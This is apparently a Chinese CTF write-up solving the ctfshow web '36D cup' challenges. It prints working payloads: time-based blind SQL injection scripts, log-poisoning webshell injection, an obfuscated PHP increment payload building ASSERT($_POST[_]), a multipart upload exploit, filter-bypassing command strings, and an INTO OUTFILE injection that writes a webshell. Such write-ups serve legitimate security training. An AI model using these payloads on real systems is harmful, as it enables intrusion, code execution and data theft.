目录

给你shell

WEB_RemoteImageDownloader

ALL_INFO_U_WANT

WUSTCTF_朴实无华_Revenge 

Login_Only_For_36D

你取吧

WUSTCTF_朴实无华_Revenge_Revenge 

你没见过的注入

给你shell

ctfshow-web 36D杯插图

提示:0006464640064064646464006406464064640064006400000000000
function haveFun($_f_g) {
    $_g_r = 32;
    $_m_u = md5($_f_g);
    $_h_p = strtoupper($_m_u);
    for ($i = 0; $i < $_g_r; $i++) {
        $_i = substr($_h_p, $i, 1);
        $_i = ord($_i);
        print_r($_i & 0xC0);
    }
    die;
}
  • 根据代码得知,haveFun()函数的逻辑是将数字全部变为0,字母位64。(实验后就会发现)
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";

将$flag_md5与我们传入的secret进行比较,根据返回结果,前面3位都是0,即前面3个都是数字,在由php是弱语言,这里进行的是弱比较,换句话说,secret在100~999之间。 

import requests

url = 'http://86b8442f-7f60-4060-849b-b239c3234857.challenge.ctf.show/?give_me_shell'
i = 100
while True:
    cookie = {
        'PHPSESSID': 'c2jdlheiu8udsu06gfgqruvf0v',
        'secret': '{"secret":' + str(i) + '}'
    }
    r = requests.get(url, cookies=cookie)
    if '0006464640064064' not in r.text:
        print(r.text)
        print(i)
        break
    i += 1

secret=115 

here is your webshell: w3b5HeLLlll123.php

得到一个文件,访问:

 <?php
error_reporting(0);
session_start();


//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";


if (!$_SESSION['login'])
    die('');


if (!isset($_GET['code'])) {
    show_source(__FILE__);
    exit();
} else {
    $code = $_GET['code'];
    if (!preg_match($secret_waf, $code)) {
        //清空session 从头再来
        eval("$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
    } else die('hacker');
}


/*
 * When you feel that you are lost, do not give up, fight and move on.
 * Being a hacker is not easy, it requires effort and sacrifice.
 * But remember … we are legion!
 *  ————Deep CTF 2020
*/ 

测了部分fuzz(不全,参考):

非法字符:['flag', 'system', 'exec', '`', 'filter', 'include', 'include_once', 'shell_exec', 'curl_exec', 'curl_multi_exec', 'parse_ini_file', 'highlight_file', 'phpinfo', 'highlight_file', '^', '$', '*', '+', '\', '|', '(', ')', ';']
合法字符:['passthru', 'eval', 'php', 'require', 'require_once', 'proc_open', 'popen', 'show_source', 'assert', 'assert_options', 'show_source', 'assert', 'assert_options', 'show_source', 'assert', 'assert_options', 'highlight', '.', '?', '{', '}', '[', ']', '', '!', '=']
  • 经过测试,由于()被过滤,不能用passthru函数等来执行命令,且`被过滤,也不能用`command`来执行。使用这里用段标签来闭合执行php命令。首先闭合前面$_SESSION[,然后给他赋值。
  • 因为空格被过滤,那么<?php 也用不了,那么就<?=来执行,相当于echo。
  • 又因为flag被过滤,使用用取反来绕过。
    <?=urlencode(~"/flag.php");
  •  最后闭合标签。
?code=]=1?>

WEB_RemoteImageDownloader

CVE-2019-17221、PhantomJS任意文件读取

将代码放入自己的服务器上,然后用php或者python开始一个web服务,让靶机访问即可。


 
 
 
 
 

ALL_INFO_U_WANT

通过目录扫描,发现index.php.bak ,下载:


visit all_info_u_want.php and you will get all information you want

= =Thinking that it may be difficult, i decided to show you the source code:






really really really baby challenge right?

然后访问:

all_info_u_want.php?all_info_i_want

open_basedir没有设置,换句话,可以进行目录穿越,访问日志文件:

?file=../../../../..//var/log/nginx/access.log

在User Agent中包含我们的恶意代码。

发现flag,但访问后flag不对。

那么我们对,换一句话木马,然后对文件内容进行过滤,找出文件中包含ctfshow{的内容:

User Agent:

post:
1=system('find /etc -name "*" | xargs grep "ctfshow{"');
  • xargs: 用于将前一个命令的输出作为后一个命令的参数。

session条件竞争这里用不了,

session.upload_progress.enabledOff

,可通过phpinfo可以看到。

pearcmd.php也不行,爆ERROR: either use the CLI php executable, or set register_argc_argv=On in php.ini。看了配置文件发现:

register_argc_argvOff
?+config-create+/&file=../../../../..//usr/local/lib/php/pearcmd.php&/+/tmp/hello.php

通过别人的wp,发现还可以包含临时文件,phpinfo与条件竞争进行getshell。

p神文章:Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)

PHP会在脚本执行结束后删掉临时文件,而 段错误方法就是让PHP执行突然中止,这样临时文件就保留了。

既然 ” PHP会在 脚本执行结束后删掉临时文件 “, 不让PHP的脚本执行结束,这样不就行了嘛?,只要自身包含自身就会进入死循环中。 死循环 要么被用户打断,要么被nginx超时掉,PHP 执行没有结束,临时文件不就 得以保存了吗?

这个自己包含自己,总是进入自己哪里就是死循环了。我们访问all_info_u_want.php,然后include 又是all_info_u_want.php,然后就进入了死循环了。

index.html: 



        
        


a.php: 

 用自己的服务器启动一个http server,访问,将a.php作为发送即可。

php -S 0.0.0.0:7777

查看$_FLIE即可看到文件名:

ctfshow-web 36D杯插图(1)

最后通过访问tmp文件即可getshell。 

 ctfshow-web 36D杯插图(2)

WUSTCTF_朴实无华_Revenge 

level1:

$numPositve === $numReverse

传入类似100.001这样就可以绕。

!isPalindrome($num)

该函数的逻辑大概就是将整数与回文数进行逐位比较,只要有一位不同就返回0。我们只要在刚才的数后面加一个0即可。

num=999.9990
还还可以传入num=-0.0

level2:根据php的特性,只要开头为0e即可满足条件。

md5=0e1576609003
md5=0e1138100474//另一个跑的

level3:

这里看到了过滤空格,本来想用:{ls,/}这样的方式来绕过,却不行,不知道为什么,所以还是选择用%09或者<(重定向)来绕过。

get_flag=nl%09/flag
get_flag=nl</flag
get_flag=ca''t%09/flag
get_flag=c\at%09/flag
get_flag=rev%09/flag|rev

Login_Only_For_36D

首先进行fuzz测试,看过滤的字符:

非法字符集: ['select', 'information_schema', 'union', 'and', 'ascii', 'mid', 'substr', 'substring', 'handler', 'updatexml', 'update', '&', '|', "'", '--', '=', '', ' ']
通过: ['table_name', 'table_schema', 'tables', 'column', 'or', 'sleep', 'where', 'from', 'limit', 'group', 'by', 'like', 'regexp', 'prepare', 'as', 'if', 'char', 'ord', 'length', 'left', 'right', 'extractvalue', 'benchmark', 'insert', 'all', 'for', '@', '#', '^', '*', '"', '~', '`', '(', ')', '{', '!', '/', '\', '+', '%', '_', ',']

1、 

import requests
import time as t

url = 'http://34dfce48-22cb-436b-93e2-98b355277507.challenge.ctf.show/index.php'
list_char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
passwd = ''
# 没有回显,所以用时间盲注
# select * from user where username='admin\' and password='or if((password regexp binary "^passwd_part"),sleep(3),1)#'
# binary能够匹配大小写
for i in range(16):
    for char in list_char:
        passwd_t = passwd + char
        payload = 'or/**/if((password/**/regexp/**/binary/**/"^' + passwd_t + '"),sleep(2),1)#'
        data = {
            'username': 'admin\',
            'password': payload
        }
        start = int(t.time())
        requests.post(url, data=data)
        end = int(t.time())
        if end - start >= 2:
            passwd += char
            print(passwd)
            break

2、 

import requests

url = 'http://34dfce48-22cb-436b-93e2-98b355277507.challenge.ctf.show/index.php'
list_char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
passwd = ''
# 没有回显,所以用时间盲注
# right()函数用于从字符串的右侧返回指定数量的字符
# select * from user where username='admin\' and password='or if((right(password,i) regexp binary "passwd_rev"),sleep(3),1)#
for i in range(16):
    for char in list_char:
        passwd_rev = passwd + char
        payload = f"or/**/if((right(password,{i})/**/like/**/binary/**/\"{passwd_rev[::-1]}\"),sleep(2),1)#"
        data = {
            'username': 'admin\',
            'password': payload
        }
        try:
            requests.post(url, data=data, timeout=1)
        except:
            passwd += char
            print(passwd[::-1])
            break

这里的regexp可以用like代替,相应时间根据你们的网络来设定。

password=ILoVeThlrtySixD

 登录即可获得flag。

你取吧

1、利用$_数组进行变量拼接。

?code=`$_[12]$_[13] /*`  --> `nl /*`
?code=`$_[12]$_[13] /$_[5]$_[13]$_[0]$_[6]`  --> `nl /flag`
?code=1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$__("$_[12]$_[13] /$_[5]$_[13]$_[0]$_[6]");(1  --> 1);system("nl /flag");(1

2、php文件上传。

POST /?code=1)?> HTTP/1.1
Host: 865eb38d-d709-4173-a025-625208c85cc3.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://865eb38d-d709-4173-a025-625208c85cc3.challenge.ctf.show/
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=this_is_boundary
Content-Length: 159

--this_is_boundary
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#!/bin/sh
cat /flag
--this_is_boundary--

ctfshow-web 36D杯插图(3)

3、自增:

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
?code=1);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);(1
post:
_=system(cat /flag);

WUSTCTF_朴实无华_Revenge_Revenge 

?num=100000000.0000000010&md5=0e1576609003&get_flag=ca	%09flag.ph\p

第一个level由php浮点精度来绕过。第3个level还是可以用\来绕过。

你没见过的注入

根据提示,我们访问robots.txt,得到,pwdreset.php,修改密码。

然后就是文件上传,但是我到这里确实不会了,文件马这些貌似都不得行。

问了群主,发了一个文件给我,内容大概就是:

ctfshow-web 36D杯插图(4)

 实际上就是一个马。

C64File"');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+

把这个话写入文件,什么jpg,png什么的应该都可以的。 

最后访问1.php即可:

i.php?1=cat /flag

upload.php: 

 0)
	{
		die("Return Code: " . $_FILES["file"]["error"] . "
"); } if($_FILES["file"]["size"]>10*1024){ die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb
"); } if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { $filename = md5(md5(rand(1,10000))).".zip"; $filetype = (new finfo)->file($_FILES['file']['tmp_name']); $filepath = "upload/".$filename; $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');"; move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename); $con = mysqli_connect("localhost","root","root","ctf"); if (!$con) { die('Could not connect: ' . mysqli_error()); } if (mysqli_multi_query($con, $sql)) { header("location:filelist.php"); } else { echo "Error: " . $sql . "
" . mysqli_error($con); } mysqli_close($con); } ?>

本站无任何商业行为
个人在线分享 » ctfshow-web 36D杯
E-->